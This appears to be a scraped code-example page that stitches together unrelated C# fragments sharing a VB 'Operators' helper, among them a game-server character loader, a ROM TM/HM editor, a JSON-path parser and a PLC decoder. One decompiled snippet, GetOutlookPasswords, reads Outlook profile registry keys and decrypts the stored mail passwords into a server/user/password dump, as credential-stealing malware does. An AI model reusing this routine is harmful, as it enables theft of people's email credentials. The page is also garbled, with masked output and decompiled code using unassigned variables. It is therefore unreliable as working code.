                WorldServiceLocator._WorldServer.itemGuidCounter = MySQLQuery.Rows[0][0] != DBNull.Value
                    ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_ITEM))
                    : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_ITEM)));
            }
            catch (Exception ex)
            {
                WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading characters_inventory....", ex);
            }
            MySQLQuery = new DataTable();
            try
            {
                WorldServiceLocator._WorldServer.WorldDatabase.Query("SELECT MAX(guid) FROM creature;", ref MySQLQuery);
                WorldServiceLocator._WorldServer.CreatureGUIDCounter = MySQLQuery.Rows[0][0] != DBNull.Value
                    ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_UNIT))
                    : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_UNIT)));
            }
            catch (Exception ex)
            {
                WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading creatures....", ex);
            }
            MySQLQuery = new DataTable();
            try
            {
                WorldServiceLocator._WorldServer.WorldDatabase.Query("SELECT MAX(guid) FROM gameobject;", ref MySQLQuery);
                WorldServiceLocator._WorldServer.GameObjectsGUIDCounter = MySQLQuery.Rows[0][0] != DBNull.Value
                    ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_GAMEOBJECT))
                    : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_GAMEOBJECT)));
            }
            catch (Exception ex)
            {
                WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading gameobjects....", ex);
            }
            MySQLQuery = new DataTable();
            try
            {
                WorldServiceLocator._WorldServer.CharacterDatabase.Query("SELECT MAX(guid) FROM corpse", ref MySQLQuery);
                WorldServiceLocator._WorldServer.CorpseGUIDCounter = MySQLQuery.Rows[0][0] != DBNull.Value
                    ? Conversions.ToULong(Operators.AddObject(MySQLQuery.Rows[0][0], WorldServiceLocator._Global_Constants.GUID_CORPSE))
                    : Convert.ToUInt64(decimal.Add(0m, new decimal(WorldServiceLocator._Global_Constants.GUID_CORPSE)));
            }
            catch (Exception ex)
            {
                WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "World: Failed loading corpse....", ex);
            }
        }
        catch (Exception ex)
        {
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "Internal database initialization failed! [{0}]{1}{2}", ex.Message, Environment.NewLine, ex.ToString());
        }
    }
示例#38
0
    public void CreateCharacter(ref WS_PlayerData.CharacterObject objCharacter)
    {
        DataTable CreateInfo       = new();
        DataTable CreateInfoBars   = new();
        DataTable CreateInfoSkills = new();
        DataTable LevelStats       = new();
        DataTable ClassLevelStats  = new();

        WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM playercreateinfo WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe};", ref CreateInfo);
        if (CreateInfo.Rows.Count <= 0)
        {
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in playercreateinfo table for Race: {0}, Class: {1}", objCharacter.Race, objCharacter.Classe);
        }
        WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM playercreateinfo_action WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe} ORDER BY button;", ref CreateInfoBars);
        if (CreateInfoBars.Rows.Count <= 0)
        {
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in playercreateinfo_action table for Race: {0}, Class: {1}", objCharacter.Race, objCharacter.Classe);
        }
        WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM playercreateinfo_skill WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe};", ref CreateInfoSkills);
        if (CreateInfoSkills.Rows.Count <= 0)
        {
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in playercreateinfo_skill table for Race: {0}, Class: {1}", objCharacter.Race, objCharacter.Classe);
        }
        WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM player_levelstats WHERE race = {(int)objCharacter.Race} AND class = {(int)objCharacter.Classe} AND level = {objCharacter.Level};", ref LevelStats);
        if (LevelStats.Rows.Count <= 0)
        {
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in player_levelstats table for Race: {0}, Class: {1}, Level: {2}", objCharacter.Race, objCharacter.Classe, objCharacter.Level);
        }
        WorldServiceLocator._WorldServer.WorldDatabase.Query($"SELECT * FROM player_classlevelstats WHERE class = {(int)objCharacter.Classe} AND level = {objCharacter.Level};", ref ClassLevelStats);
        if (ClassLevelStats.Rows.Count <= 0)
        {
            WorldServiceLocator._WorldServer.Log.WriteLine(LogType.FAILED, "No information found in player_classlevelstats table for Class: {0}, Level: {1}", objCharacter.Classe, objCharacter.Level);
        }
        objCharacter.Copper         = 0u;
        objCharacter.XP             = 0;
        objCharacter.Size           = 1f;
        objCharacter.Life.Base      = 0;
        objCharacter.Life.Current   = 0;
        objCharacter.Mana.Base      = 0;
        objCharacter.Mana.Current   = 0;
        objCharacter.Rage.Current   = 0;
        objCharacter.Rage.Base      = 0;
        objCharacter.Energy.Current = 0;
        objCharacter.Energy.Base    = 0;
        objCharacter.ManaType       = WorldServiceLocator._WS_Player_Initializator.GetClassManaType(objCharacter.Classe);
        objCharacter.Model          = WorldServiceLocator._Functions.GetRaceModel(objCharacter.Race, (int)objCharacter.Gender);
        objCharacter.Faction        = WorldServiceLocator._WS_DBCDatabase.CharRaces[(int)objCharacter.Race].FactionID;
        objCharacter.MapID          = Conversions.ToUInteger(CreateInfo.Rows[0]["map"]);
        objCharacter.ZoneID         = Conversions.ToInteger(CreateInfo.Rows[0]["zone"]);
        objCharacter.positionX      = Conversions.ToSingle(CreateInfo.Rows[0]["position_x"]);
        objCharacter.positionY      = Conversions.ToSingle(CreateInfo.Rows[0]["position_y"]);
        objCharacter.positionZ      = Conversions.ToSingle(CreateInfo.Rows[0]["position_z"]);
        objCharacter.orientation    = Conversions.ToSingle(CreateInfo.Rows[0]["orientation"]);
        checked
        {
            objCharacter.bindpoint_map_id    = (int)objCharacter.MapID;
            objCharacter.bindpoint_zone_id   = objCharacter.ZoneID;
            objCharacter.bindpoint_positionX = objCharacter.positionX;
            objCharacter.bindpoint_positionY = objCharacter.positionY;
            objCharacter.bindpoint_positionZ = objCharacter.positionZ;
            objCharacter.Strength.Base       = Conversions.ToInteger(LevelStats.Rows[0]["str"]);
            objCharacter.Agility.Base        = Conversions.ToInteger(LevelStats.Rows[0]["agi"]);
            objCharacter.Stamina.Base        = Conversions.ToInteger(LevelStats.Rows[0]["sta"]);
            objCharacter.Intellect.Base      = Conversions.ToInteger(LevelStats.Rows[0]["inte"]);
            objCharacter.Spirit.Base         = Conversions.ToInteger(LevelStats.Rows[0]["spi"]);
            objCharacter.Life.Base           = Conversions.ToInteger(ClassLevelStats.Rows[0]["basehp"]);
            objCharacter.Life.Current        = objCharacter.Life.Maximum;
            switch (objCharacter.ManaType)
            {
            case ManaTypes.TYPE_MANA:
                objCharacter.Mana.Base    = Conversions.ToInteger(ClassLevelStats.Rows[0]["basemana"]);
                objCharacter.Mana.Current = objCharacter.Mana.Maximum;
                break;

            case ManaTypes.TYPE_RAGE:
                objCharacter.Rage.Base    = Conversions.ToInteger(ClassLevelStats.Rows[0]["basemana"]);
                objCharacter.Rage.Current = 0;
                break;

            case ManaTypes.TYPE_ENERGY:
                objCharacter.Energy.Base    = Conversions.ToInteger(ClassLevelStats.Rows[0]["basemana"]);
                objCharacter.Energy.Current = 0;
                break;
            }
            objCharacter.Damage.Minimum = 5f;
            objCharacter.Damage.Maximum = 10f;
            IEnumerator enumerator = default;
            try
            {
                enumerator = CreateInfoSkills.Rows.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    DataRow row = (DataRow)enumerator.Current;
                    objCharacter.LearnSkill(row.As <int>("Skill"), row.As <short>("SkillMin"), row.As <short>("SkillMax"));
                }
            }
            finally
            {
                if (enumerator is IDisposable)
                {
                    (enumerator as IDisposable).Dispose();
                }
            }
            var i = 0;
            do
            {
                if ((WorldServiceLocator._WS_DBCDatabase.CharRaces[(int)objCharacter.Race].TaxiMask & (1 << i)) != 0)
                {
                    objCharacter.TaxiZones.Set(i + 1, value: true);
                }
                i++;
            }while (i <= 31);
            IEnumerator enumerator2 = default;
            try
            {
                enumerator2 = CreateInfoBars.Rows.GetEnumerator();
                while (enumerator2.MoveNext())
                {
                    DataRow row = (DataRow)enumerator2.Current;
                    if (Operators.ConditionalCompareObjectGreater(row["action"], 0, TextCompare: false))
                    {
                        var ButtonPos = row.As <int>("button");
                        objCharacter.ActionButtons[(byte)ButtonPos] = new WS_PlayerHelper.TActionButton(row.As <int>("action"), row.As <byte>("type"), 0);
                    }
                }
            }
            finally
            {
                if (enumerator2 is IDisposable)
                {
                    (enumerator2 as IDisposable).Dispose();
                }
            }
        }
    }
 public MyOperatorTwoForge()
 {
     Operators.Add(this);
 }
 // Token: 0x06000333 RID: 819 RVA: 0x00020390 File Offset: 0x0001E590
 public string SS(string f)
 {
     this.sev = Operators.AddObject(this.sev, f + "\r\n");
     return(Conversions.ToString(this.sev));
 }
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void SvBttn_Click(object sender, EventArgs e)
        {
            var indexbuf = TMHMList.SelectedIndex;

            string LocalReverseHex()
            {
                var argHexData = Strings.Right("0000" + Conversion.Hex(AttackList.SelectedIndex), 4); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret);
            }

            var argStart = _tmhmAttacks + indexbuf * 2;
            var argData  = LocalReverseHex();

            HexFunctions.WriteHex(ref MainObject.LoadedRom, ref argStart, ref argData);
            TMHMList.Items.Clear();
            var loopvar = 0;

            while (loopvar < Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMsPlusHMs", "")) == true)
            {
                if (loopvar > Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMs", "")) - 1d)
                {
                    string LocalReadHex()
                    {
                        var argStart2 = _tmhmAttacks + loopvar * 2;
                        var argLength = 2;
                        var ret       = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength);

                        return(ret);
                    }

                    string LocalReverseHex1()
                    {
                        var argHexData = LocalReadHex();
                        var ret        = HexFunctions.ReverseHex(ref argHexData);

                        return(ret);
                    }

                    TMHMList.Items.Add(Operators.ConcatenateObject("HM" + (loopvar - 49) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex1(), System.Globalization.NumberStyles.HexNumber))));
                    loopvar += 1;
                }
                else if (loopvar < 9)
                {
                    string LocalReadHex2()
                    {
                        var argStart2 = _tmhmAttacks + loopvar * 2;
                        var argLength = 2;
                        var ret       = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength);

                        return(ret);
                    }

                    string LocalReverseHex3()
                    {
                        var argHexData = LocalReadHex2();
                        var ret        = HexFunctions.ReverseHex(ref argHexData);

                        return(ret);
                    }

                    TMHMList.Items.Add(Operators.ConcatenateObject("TM" + "0" + (loopvar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex3(), System.Globalization.NumberStyles.HexNumber))));
                    loopvar += 1;
                }
                else
                {
                    string LocalReadHex1()
                    {
                        var argStart2 = _tmhmAttacks + loopvar * 2; var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength); return(ret);
                    }

                    string LocalReverseHex2()
                    {
                        var argHexData = LocalReadHex1(); var ret = HexFunctions.ReverseHex(ref argHexData); return(ret);
                    }

                    TMHMList.Items.Add(Operators.ConcatenateObject("TM" + (loopvar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex2(), System.Globalization.NumberStyles.HexNumber))));
                    loopvar += 1;
                }
            }

            TMHMList.SelectedIndex = indexbuf;
        }
示例#42
0
        public bool TryParse <T>(string source, ref int index, [NotNullWhen(true)] out JsonPathExpression?expression, [NotNullWhen(false)] out string?errorMessage)
        {
            PathExpression <T> node;

            var isLocal = source[index] == '@';

            if (!JsonPathParser.TryParse(source, ref index, out var path, out errorMessage) &&
                // Swallow this error from the path parser and assume the path just ended.
                // If it's really a syntax error, the expression parser should catch it.
                errorMessage != "Unrecognized JSON Path element.")
            {
                expression = null !;
                return(false);
            }

            var lastOp = path !.Operators.Last();

            if (lastOp is NameOperator name)
            {
                path.Operators.Remove(name);
                if (name.Name == "indexOf")
                {
                    if (source[index] != '(')
                    {
                        errorMessage = "Expected '('.  'indexOf' operator requires a parameter.";
                        expression   = null !;
                        return(false);
                    }

                    index++;
                    if (!JsonParser.TryParse(source, ref index, out var parameter, out errorMessage, true) &&
                        // Swallow this error from the JSON parser and assume the value just ended.
                        // If it's really a syntax error, the expression parser should catch it.
                        errorMessage != "Expected \',\', \']\', or \'}\'.")
                    {
                        errorMessage = $"Error parsing parameter for 'indexOf' expression: {errorMessage}.";
                        expression   = null !;
                        return(false);
                    }

                    if (source[index] != ')')
                    {
                        errorMessage = "Expected ')'.";
                        expression   = null !;
                        return(false);
                    }

                    index++;
                    node = new IndexOfExpression <T>(path, isLocal, parameter !);
                }
                else
                {
                    node = new NameExpression <T>(path, isLocal, name.Name);
                }
            }
            else if (lastOp is LengthOperator length)
            {
                path.Operators.Remove(length);
                node = new LengthExpression <T>(path, isLocal);
            }
            else if (lastOp is ArrayOperator array)
            {
                path.Operators.Remove(array);
                var query    = array.Query as SliceQuery;
                var constant = query?.Slices.FirstOrDefault <Slice?>()?.Index;
                if (query == null || query.Slices.Count() != 1 || !constant.HasValue)
                {
                    errorMessage = "JSON Path expression indexers only support single constant values.";
                    expression   = null !;
                    return(false);
                }

                node = new ArrayIndexExpression <T>(path, isLocal, constant.Value);
            }
            else
            {
                throw new NotImplementedException();
            }

            expression = new PathValueExpression <T>(node);
            return(true);
        }
        /// <summary>
        ///
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void TMHMEditor_Load(object sender, EventArgs e)
        {
            int loopVar;

            _tmhmAttacks = int.Parse(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TMData", ""), System.Globalization.NumberStyles.HexNumber);
            TMHMList.Items.Clear();
            loopVar = 0;
            while (loopVar < Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMsPlusHMs", "")) == true)
            {
                if (loopVar > Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMs", "")) - 1d)
                {
                    string LocalReadHex()
                    {
                        var argStart2 = _tmhmAttacks + loopVar * 2;
                        var argLength = 2;
                        var ret       = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength);

                        return(ret);
                    }

                    string LocalReverseHex()
                    {
                        var argHexData = LocalReadHex();
                        var ret        = HexFunctions.ReverseHex(ref argHexData);

                        return(ret);
                    }

                    TMHMList.Items.Add(Operators.ConcatenateObject("HM" + (loopVar - (Conversion.Val(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "TotalTMs", "")) - 1d)) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex(), System.Globalization.NumberStyles.HexNumber))));
                    loopVar += 1;
                }
                else if (loopVar < 9)
                {
                    string LocalReadHex2()
                    {
                        var argStart2 = _tmhmAttacks + loopVar * 2;
                        var argLength = 2; var ret = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength);

                        return(ret);
                    }

                    string LocalReverseHex2()
                    {
                        var argHexData = LocalReadHex2();
                        var ret        = HexFunctions.ReverseHex(ref argHexData);

                        return(ret);
                    }

                    TMHMList.Items.Add(Operators.ConcatenateObject("TM" + "0" + (loopVar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex2(), System.Globalization.NumberStyles.HexNumber))));
                    loopVar += 1;
                }
                else
                {
                    string LocalReadHex1()
                    {
                        var argStart2 = _tmhmAttacks + loopVar * 2;
                        var argLength = 2;
                        var ret       = HexFunctions.ReadHex(ref MainObject.LoadedRom, ref argStart2, ref argLength);

                        return(ret);
                    }

                    string LocalReverseHex1()
                    {
                        var argHexData = LocalReadHex1();
                        var ret        = HexFunctions.ReverseHex(ref argHexData);

                        return(ret);
                    }

                    TMHMList.Items.Add(Operators.ConcatenateObject("TM" + (loopVar + 1) + " - ", GetNameFunctions.GetAttackName(int.Parse(LocalReverseHex1(), System.Globalization.NumberStyles.HexNumber))));
                    loopVar += 1;
                }
            }

            AttackList.Items.Clear();
            loopVar = 0;
            while (loopVar < Conversions.ToDouble(Ini.GetString(Conversions.ToString(MMainFunctions.GetIniFileLocation()), MainObject.Header, "NumberOfAttacks", "")) + 1d == true)
            {
                AttackList.Items.Add(GetNameFunctions.GetAttackName(loopVar));
                loopVar += 1;
            }

            TMHMList.SelectedIndex = 0;
        }
示例#44
0
        private static Instruction CreateInstructionBasedOnElement(byte firstComponent, byte secondComponent, int counter)
        {
            Elements  operand    = new Elements();
            Operators operatorIL = Operators.LD;

            //I
            if (firstComponent >= 0xc0 && firstComponent <= 0xcf)
            {
                operand.symbol = Symbol.I;
                if (firstComponent >= 0xc0 && firstComponent <= 0xc7)
                {
                    operatorIL   = Operators.AND;
                    operand.name = "I" + secondComponent + "." + (firstComponent - 0xc0).ToString();
                    //System.Diagnostics.Debug.WriteLine("I");
                    IsLoad = true;
                }
                else
                {
                    operatorIL   = Operators.OR;
                    operand.name = "I" + secondComponent + "." + (firstComponent - 0xc8).ToString();
                    IsLoad       = true;
                }
                DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
            }

            //!I
            else if (firstComponent >= 0xe0 && firstComponent <= 0xef)
            {
                operand.symbol = Symbol.I;
                if (firstComponent >= 0xe0 && firstComponent <= 0xe7)
                {
                    operatorIL       = Operators.ANDN;
                    operand.modifier = Modifiers.N;
                    operand.name     = "I" + secondComponent + "." + (firstComponent - 0xe0).ToString();
                    //System.Diagnostics.Debug.WriteLine("I");
                    IsLoad = true;
                }
                else
                {
                    operatorIL       = Operators.ORN;
                    operand.modifier = Modifiers.N;
                    operand.name     = "I" + secondComponent + "." + (firstComponent - 0xe8).ToString();
                    IsLoad           = true;
                }
                DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
            }

            //Q
            else if ((firstComponent >= 0xd0 && firstComponent <= 0xdf) || (firstComponent >= 0xf0 && firstComponent <= 0xf7))
            {
                if (firstComponent >= 0xd0 && firstComponent <= 0xd7)
                {
                    operand.symbol = Symbol.Q;
                    operatorIL     = Operators.S;
                    operand.name   = "Q" + (secondComponent - 0x80).ToString() + "." + (firstComponent - 0xd0).ToString();
                    //System.Diagnostics.Debug.WriteLine("S");
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard);
                }
                else if (firstComponent >= 0xd8 && firstComponent <= 0xdf)
                {
                    operand.symbol = Symbol.Q;
                    operatorIL     = Operators.ST;
                    operand.name   = "Q" + (secondComponent - 0x80).ToString() + "." + (firstComponent - 0xd8).ToString();
                    //System.Diagnostics.Debug.WriteLine("Q");
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard);
                }
                else if (firstComponent >= 0xf0 && firstComponent <= 0xf7)
                {
                    operand.symbol = Symbol.Q;
                    operatorIL     = Operators.R;
                    operand.name   = "Q" + (secondComponent - 0x80).ToString() + "." + (firstComponent - 0xf0).ToString();
                    //System.Diagnostics.Debug.WriteLine("R");
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.Reset, DiagnosticData.Symbol.standard);
                }
            }
            //M
            else if ((firstComponent >= 0x80 && firstComponent <= 0x9f) || (firstComponent >= 0xb0 && firstComponent <= 0xbf))
            {
                if (firstComponent >= 0x80 && firstComponent <= 0x87)
                {
                    operand.symbol = Symbol.M;
                    operatorIL     = Operators.AND;
                    operand.name   = "M" + secondComponent + "." + (firstComponent - 0x80).ToString();
                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    IsLoad = true;
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
                }
                else if (firstComponent >= 0x88 && firstComponent <= 0x8f)
                {
                    operand.symbol = Symbol.M;
                    operatorIL     = Operators.OR;
                    operand.name   = "M" + secondComponent + "." + (firstComponent - 0x88).ToString();

                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    IsLoad = true;
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
                }
                else if (firstComponent >= 0x90 && firstComponent <= 0x97)
                {
                    operand.symbol = Symbol.M;
                    operatorIL     = Operators.S;
                    operand.name   = "M" + secondComponent + "." + (firstComponent - 0x90).ToString();
                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard);
                }
                else if (firstComponent >= 0x98 && firstComponent <= 0x9f)
                {
                    operand.symbol = Symbol.M;
                    operatorIL     = Operators.ST;
                    operand.name   = "M" + secondComponent + "." + (firstComponent - 0x98).ToString();
                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.Set, DiagnosticData.Symbol.standard);
                }

                else if (firstComponent >= 0xb0 && firstComponent <= 0xb7)
                {
                    operand.symbol = Symbol.M;
                    operatorIL     = Operators.R;
                    operand.name   = "M" + secondComponent + "." + (firstComponent - 0xb0).ToString();
                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    DiagnosticData.AddData(counter, DiagnosticData.Operation.Reset, DiagnosticData.Symbol.standard);
                }
            }

            else if ((firstComponent >= 0xa0 && firstComponent <= 0xaf))
            {
                if (firstComponent >= 0xa0 && firstComponent <= 0xa7)
                {
                    operand.symbol   = Symbol.M;
                    operatorIL       = Operators.AND;
                    operand.modifier = Modifiers.N;
                    operand.name     = "M" + secondComponent + "." + (firstComponent - 0xa0).ToString();
                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    IsLoad = true;
                }
                else if (firstComponent >= 0xa8 && firstComponent <= 0xaf)
                {
                    operand.symbol   = Symbol.M;
                    operatorIL       = Operators.OR;
                    operand.modifier = Modifiers.N;
                    operand.name     = "M" + secondComponent + "." + (firstComponent - 0xa8).ToString();

                    if (!Memory.Data.markers.ContainsKey(operand.name))
                    {
                        Memory.Data.markers.Add(operand.name, false);
                    }
                    IsLoad = true;
                }
                DiagnosticData.AddData(counter, DiagnosticData.Operation.None, DiagnosticData.Symbol.standard);
            }
            else
            {
                return(null);
            }

            if (!IsLoaded && IsLoad)
            {
                IsLoaded = true;
                if (operand.modifier == Modifiers.None)
                {
                    operatorIL = Operators.LD;
                }
                else
                {
                    operatorIL = Operators.LDN;
                }
            }
            return(new Instruction(operatorIL, operand));
        }
示例#45
0
    // Token: 0x060000B3 RID: 179 RVA: 0x0000CC70 File Offset: 0x0000AE70
    internal static string GetOutlookPasswords()
    {
        string text = "";

        string[] array = new string[]
        {
            "IMAP Password",
            "POP3 Password",
            "HTTP Password",
            "SMTP Password"
        };
        string text2 = "";

        RegistryKey[] array2 = new RegistryKey[]
        {
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"),
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"),
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"),
            Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676")
        };
        string result;

        try
        {
            foreach (RegistryKey registryKey in array2)
            {
                if (registryKey != null)
                {
                    foreach (string name in registryKey.GetSubKeyNames())
                    {
                        using (RegistryKey registryKey2 = registryKey.OpenSubKey(name))
                        {
                            if (registryKey2.GetValue("Email") != null | (registryKey2.GetValue("IMAP Password") != null | registryKey2.GetValue("POP3 Password") != null | registryKey2.GetValue("HTTP Password") != null | registryKey2.GetValue("SMTP Password") != null))
                            {
                                if (Operators.CompareString(text, "", false) == 0)
                                {
                                    text = "Outlook: \r\n";
                                }
                                foreach (string name2 in array)
                                {
                                    if (registryKey2.GetValue(name2) != null)
                                    {
                                        byte[] encryptedData = (byte[])registryKey2.GetValue(name2);
                                        text2 = OutlookRecover.decryptOutlookPassword(encryptedData);
                                    }
                                }
                                object objectValue = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("Email"));
                                byte[] bytes;
                                try
                                {
                                    object   utf        = Encoding.UTF8;
                                    Type     type       = null;
                                    string   memberName = "GetBytes";
                                    object[] array5     = new object[]
                                    {
                                        RuntimeHelpers.GetObjectValue(objectValue)
                                    };
                                    object[] arguments     = array5;
                                    string[] argumentNames = null;
                                    Type[]   typeArguments = null;
                                    bool[]   array6        = new bool[]
                                    {
                                        true
                                    };
                                    object obj = NewLateBinding.LateGet(utf, type, memberName, arguments, argumentNames, typeArguments, array6);
                                    if (array6[0])
                                    {
                                        objectValue = RuntimeHelpers.GetObjectValue(array5[0]);
                                    }
                                    bytes = (byte[])obj;
                                }
                                catch (Exception ex)
                                {
                                    bytes = (byte[])objectValue;
                                }
                                object objectValue2 = RuntimeHelpers.GetObjectValue(registryKey2.GetValue("SMTP Server"));
                                byte[] bytes2;
                                if (objectValue2 != null)
                                {
                                    try
                                    {
                                        bytes2 = (byte[])registryKey2.GetValue("SMTP Server");
                                        goto IL_29F;
                                    }
                                    catch (Exception ex2)
                                    {
                                        object   utf2        = Encoding.UTF8;
                                        Type     type2       = null;
                                        string   memberName2 = "GetBytes";
                                        object[] array7      = new object[]
                                        {
                                            RuntimeHelpers.GetObjectValue(objectValue2)
                                        };
                                        object[] arguments2     = array7;
                                        string[] argumentNames2 = null;
                                        Type[]   typeArguments2 = null;
                                        bool[]   array6         = new bool[]
                                        {
                                            true
                                        };
                                        object obj2 = NewLateBinding.LateGet(utf2, type2, memberName2, arguments2, argumentNames2, typeArguments2, array6);
                                        if (array6[0])
                                        {
                                            objectValue2 = RuntimeHelpers.GetObjectValue(array7[0]);
                                        }
                                        bytes2 = (byte[])obj2;
                                        goto IL_29F;
                                    }
                                }
                                bytes2 = Encoding.UTF8.GetBytes("Nothing");
IL_29F:
                                text = text + "SMTP: " + Encoding.UTF8.GetString(bytes2).Replace("\0", "") + "\r\n";
                                text = text + "User: "******"") + "\r\n";
                                text = text + "Pass: "******"") + "\r\n\r\n";
                            }
                        }
                    }
                }
            }
            result = text;
        }
        catch (Exception ex3)
        {
        }
        return(result);
    }
示例#46
0
文件: Filter.cs 项目: sjkp/trafikinfo
 public Filter AddOperator(FilterOperator oprator)
 {
     Operators.Add(oprator);
     return(this);
 }
示例#47
0
        public object PFZ(string JM, string JJ, string GJ, string XJ, string YJ)
        {
            string[] array  = null;
            string[] array2 = null;
            int      num    = 0;

            string[] string_;
            checked
            {
                if (Operators.CompareString(JM, "", false) != 0)
                {
                    array2      = (string[])Utils.CopyArray((Array)array2, new string[num + 1]);
                    array2[num] = JM;
                    num++;
                }
                if (Operators.CompareString(JJ, "", false) != 0)
                {
                    array2      = (string[])Utils.CopyArray((Array)array2, new string[num + 1]);
                    array2[num] = JJ;
                    num++;
                }
                if (Operators.CompareString(GJ, "", false) != 0)
                {
                    array2      = (string[])Utils.CopyArray((Array)array2, new string[num + 1]);
                    array2[num] = GJ;
                    num++;
                }
                if (Operators.CompareString(XJ, "", false) != 0)
                {
                    array2      = (string[])Utils.CopyArray((Array)array2, new string[num + 1]);
                    array2[num] = XJ;
                    num++;
                }
                if (Operators.CompareString(YJ, "", false) != 0)
                {
                    array2      = (string[])Utils.CopyArray((Array)array2, new string[num + 1]);
                    array2[num] = YJ;
                    num++;
                }
                this.ListBox1.Items.Clear();
                string_ = array2;
            }
            int    num3;
            long   num2 = (long)num3;
            int    num5;
            long   num4 = (long)num5;
            double num6;
            double num7;
            double num8;

            this.method_6(string_, ref num6, ref num7, ref num8, ref array, ref num2, ref num4);
            checked
            {
                num5 = (int)num4;
                num3 = (int)num2;
                if (num7 != 0.0)
                {
                    this.Label8.Text = Conversions.ToString((long)Math.Round(num7 / 100.0));
                }
                if (num6 != 0.0)
                {
                    this.Label10.Text = Strings.Format(num6 / 4.0 / 100.0, "0.0");
                }
                if (num8 != 0.0)
                {
                    this.method_0(this.Panel1, Conversions.ToString((long)Math.Round(num8 / 100.0)));
                }
                return(null);
            }
        }
示例#48
0
 private void btLuu_Click(object sender, EventArgs e)
 {
     try
     {
         this.LocalDatabase         = this.tbLocalDatabase.Text;
         this.LocalUserName         = this.tbLocalSqlUser.Text;
